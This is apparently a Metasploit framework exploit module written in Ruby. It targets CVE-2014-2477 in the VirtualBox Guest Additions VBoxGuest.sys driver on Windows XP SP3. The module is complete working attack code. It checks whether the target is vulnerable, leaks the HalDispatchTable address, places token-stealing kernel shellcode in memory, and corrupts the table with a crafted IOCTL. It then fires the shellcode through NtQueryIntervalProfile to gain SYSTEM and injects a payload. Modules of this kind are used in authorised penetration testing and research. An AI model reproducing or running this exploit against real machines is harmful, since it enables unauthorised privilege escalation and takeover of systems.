##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = AverageRanking

  include Msf::Exploit::Local::WindowsKernel
  include Msf::Post::File
  include Msf::Post::Windows::FileInfo
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process

  def initialize(info = {})
    super(
      update_info(
        info,
        {
          'Name' => 'VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation',
          'Description' => %q{
            A vulnerability within the VBoxGuest driver allows an attacker to inject memory they
            control into an arbitrary location they define. This can be used by an attacker to
            overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
            NtQueryIntervalProfile on Windows XP SP3 systems. This has been tested with VBoxGuest
            Additions up to 4.3.10r93012.
          },
          'License' => MSF_LICENSE,
          'Author' => [
            'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
            'Jay Smith <jsmith[at]korelogic.com>' # MSF module
          ],
          'Arch' => ARCH_X86,
          'Platform' => 'win',
          'SessionTypes' => [ 'meterpreter' ],
          'DefaultOptions' => {
            'EXITFUNC' => 'thread'
          },
          'Targets' => [
            [
              'Windows XP SP3',
              {
                'HaliQuerySystemInfo' => 0x16bba,
                '_KPROCESS' => "\x44",
                '_TOKEN' => "\xc8",
                '_UPID' => "\x84",
                '_APLINKS' => "\x88"
              }
            ]
          ],
          'References' => [
            ['CVE', '2014-2477'],
            ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
          ],
          'DisclosureDate' => '2014-07-15',
          'DefaultTarget' => 0,
          'Compat' => {
            'Meterpreter' => {
              'Commands' => %w[
                stdapi_railgun_api
                stdapi_sys_process_attach
                stdapi_sys_process_memory_write
              ]
            }
          }
        }
      )
    )
  end

  def fill_memory(proc, address, length, content)
    session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), 'MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN', 'PAGE_EXECUTE_READWRITE')

    if !proc.memory.writable?(address)
      vprint_error('Failed to allocate memory')
      return nil
    else
      vprint_good("#{address} is now writable")
    end

    result = proc.memory.write(address, content)

    if result.nil?
      vprint_error('Failed to write contents to memory')
      return nil
    else
      vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
    end

    return address
  end

  def check
    if sysinfo['Architecture'] == ARCH_X64
      return Exploit::CheckCode::Safe
    end

    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      return Exploit::CheckCode::Safe
    end

    session.railgun.kernel32.CloseHandle(handle)

    version = get_version_info
    if version != Msf::WindowsVersion::XP_SP3
      return Exploit::CheckCode::Safe
    end

    file_path = get_env('WINDIR') << '\\system32\\drivers\\vboxguest.sys'
    unless file?(file_path)
      return Exploit::CheckCode::Unknown
    end

    major, minor, build, revision, branch = file_version(file_path)
    vprint_status("vboxguest.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")

    unless (major == 4)
      return Exploit::CheckCode::Safe
    end

    case minor
    when 0
      return Exploit::CheckCode::Appears if build < 26
    when 1
      return Exploit::CheckCode::Appears if build < 34
    when 2
      return Exploit::CheckCode::Appears if build < 26
    when 3
      return Exploit::CheckCode::Appears if build < 12
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    if check == Exploit::CheckCode::Safe
      fail_with(Failure::NotVulnerable, 'Exploit not available on this system')
    end

    handle = open_device('\\\\.\\vboxguest', 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
    if handle.nil?
      fail_with(Failure::NoTarget, 'Unable to open \\\\.\\vboxguest device')
    end

    print_status('Disclosing the HalDispatchTable address...')
    hal_dispatch_table = find_haldispatchtable
    if hal_dispatch_table.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Failed to disclose HalDispatchTable')
    else
      print_good('Address successfully disclosed.')
    end

    print_status('Getting the hal.dll base address...')
    hal_info = find_sys_base('hal.dll')
    fail_with(Failure::Unknown, 'Failed to disclose hal.dll base address') if hal_info.nil?

    hal_base = hal_info[0]
    print_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16).rjust(8, '0')}")
    hali_query_system_information = hal_base + target['HaliQuerySystemInfo']

    print_status('Storing the shellcode in memory...')
    this_proc = session.sys.process.open

    restore_ptrs = "\x31\xc0" # xor eax, eax
    restore_ptrs << "\xb8" + [hali_query_system_information].pack('V') # mov eax, offset hal!HaliQuerySystemInformation
    restore_ptrs << "\xa3" + [hal_dispatch_table + 4].pack('V')        # mov dword ptr [nt!HalDispatchTable+0x4], eax

    kernel_shell = token_stealing_shellcode(target)
    kernel_shell_address = 0x1

    buf = "\x90" * 0x6000
    buf[0, 56] = "\x50\x00\x00\x00" * 14
    buf[0x5000, kernel_shell.length] = restore_ptrs + kernel_shell

    result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
    if result.nil?
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Error while storing the kernel stager shellcode on memory')
    else
      print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
    end

    print_status('Triggering the vulnerability, corrupting the HalDispatchTable...')
    session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x22a040, 0x1, 140, hal_dispatch_table + 0x4 - 40, 0)
    session.railgun.kernel32.CloseHandle(handle)

    print_status('Executing the Kernel Stager throw NtQueryIntervalProfile()...')
    session.railgun.ntdll.NtQueryIntervalProfile(2, 4)

    print_status('Checking privileges after exploitation...')

    if is_system?
      print_good('Exploitation successful!')
    else
      fail_with(Failure::Unknown, "The exploitation wasn't successful")
    end

    p = payload.encoded
    print_status("Injecting #{p.length} bytes to memory and executing it...")
    if execute_shellcode(p)
      print_good('Enjoy')
    else
      fail_with(Failure::Unknown, 'Error while executing the payload')
    end
  end
end
